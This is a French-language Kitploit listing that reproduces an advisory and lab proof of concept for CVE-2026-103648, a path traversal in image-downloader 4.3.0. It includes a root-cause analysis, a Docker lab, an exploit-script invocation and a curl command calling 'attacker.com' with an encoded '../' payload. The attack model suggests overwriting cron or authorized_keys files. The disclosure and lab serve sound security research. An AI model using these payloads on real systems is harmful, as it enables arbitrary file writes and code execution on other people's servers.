Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-103648 — Avis et PoC pour CVE-2026-103648, un path traversal (CWE-22) dans image-downloader 4.3.0 permettant l'écriture arbitraire de fichiers, avec analyse de la cause racine, diff du correctif et lab Docker. | Kitploit
Outils/GitHubGitHub/eternullsec/cve-2026-103648
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et ÉducationRed TeamingLabs et Pratique
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

Avis et PoC pour CVE-2026-103648, un path traversal (CWE-22) dans image-downloader 4.3.0 permettant l'écriture arbitraire de fichiers, avec analyse de la cause racine, diff du correctif et lab Docker.

il y a 6h 43mPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-103648 — Traversée de chemin dans image-downloader

CVE CVSS CWE Package Status License

Découvert par : Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ À des fins éducatives uniquement. Ce dépôt documente une vulnérabilité divulguée de manière responsable. Tout le code PoC est destiné à la recherche et aux tests de sécurité autorisés dans des environnements de laboratoire isolés uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.


📋 Résumé de l'avis

ChampDétails
ID CVECVE-2026-103648
Entrée NVDnvd.nist.gov/vuln/detail/CVE-2026-103648
Score CVSS v3.19.1 Critique — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22 : Limitation incorrecte d'un nom de chemin à un répertoire restreint
Paquetimage-downloader (npm) par demsking
Téléchargements npm hebdomadaires~11 000 (~38 000/mois) — source
Versions affectées< 4.3.1 (toutes les versions, y compris 4.3.0)
Version corrigée4.3.1
Attribué parGitLab
Publié le2026-10-02
RapporteurAmirhossein Roustaei (@EterNullSec), Eternull Security

🔬 Analyse technique de la cause racine

La vulnérabilité se situe dans la logique d'extraction du nom de fichier de [email protected]. Voici le code source réel de la version affectée (index.js, extrait directement du paquet npm publié) :

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

Le bug exact

  1. path.basename(pathname) est appelé sur le chemin d'URL encore encodé en pourcentage. Une séquence comme %2e%2e%2fpwned.sh ne contient aucun / littéral, donc path.basename() traite l'ensemble comme un seul nom de fichier et le renvoie inchangé — rien n'est supprimé.
  2. Le résultat est ensuite passé à decodeURIComponent(). C'est cette étape qui retransforme %2e%2e%2f en ../ littéral — mais à ce stade, il a déjà survécu à l'étape basename censée l'assainir.
  3. path.join(options.dest, decodedBasename) est appelé avec une chaîne qui contient désormais un véritable segment ../. path.join() normalise .. de la même manière que cd .. — le chemin d'écriture final se résout donc vers un emplacement en dehors de options.dest.

En résumé : le code décode le nom de fichier de la bonne manière, mais dans le mauvais ordre par rapport à path.basename(). Décoder puis appliquer basename est sûr ; appliquer basename puis décoder ne l'est pas.

Déclencheur minimal

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

Détail du CVSS

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 Modèle d'attaque

Ce laboratoire démontre le mécanisme du bug de bout en bout dans un seul script pour faciliter la reproduction, mais il convient d'énoncer explicitement le modèle d'attaque réel :

  • Victime : toute application qui appelle download.image({ url, dest }) de image-downloader avec une valeur url qu'elle ne contrôle pas entièrement elle-même — par exemple une URL soumise par un utilisateur (fonctionnalités d'import d'avatar/d'image), extraite d'une charge utile de webhook, ou lue depuis un flux RSS/contenu.
  • Attaquant : contrôle (ou peut rediriger vers) le serveur HTTP vers lequel pointe l'url de la victime, et contrôle le composant de chemin de cette URL — ce qui suffit à lui seul, puisque la traversée réside dans le chemin de l'URL (%2e%2e%2f...), et non dans le corps de la réponse.
  • Impact : le processus victime écrit un fichier choisi par l'attaquant vers un chemin choisi par l'attaquant, en dehors du répertoire prévu par le développeur — dans les conteneurs ou les scripts s'exécutant avec un large accès au système de fichiers, cela conduit régulièrement à une exécution de code (par exemple en écrasant un fichier cron, un fichier authorized_keys, ou un exécutable que l'application lance ensuite).

Dans exploit/exploit.py, les rôles d'attaquant et de victime sont fusionnés en un seul script pour des raisons de commodité en laboratoire (il met en place à la fois la requête du serveur « victime » et le serveur de charge utile contrôlé par l'attaquant). Dans un scénario d'exploitation réel, il s'agit de deux parties distinctes et sans lien — le PoC est structuré ainsi uniquement pour que la vulnérabilité soit reproductible avec une seule commande.


🧪 Configuration de l'environnement de laboratoire

Prérequis

  • Docker & Docker Compose OU Node.js v18+
  • Python 3.x (pour le script d'exploitation)

Option A — Docker (recommandé)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

Le serveur vulnérable sera disponible à l'adresse http://localhost:3000.

Option B — Node.js manuel

cd vulnerable-app/
npm install
node server.js

💥 Étapes de reproduction (PoC)

Étape 1 — Démarrer le serveur vulnérable

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

Étape 2 — Lancer l'exploit

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

Ou manuellement avec curl (la traversée se trouve dans le chemin de l'URL, pas dans le corps de la réponse) :

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

Étape 3 — Vérifier la traversée

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 Preuve d'exécution

Télécharger l’outil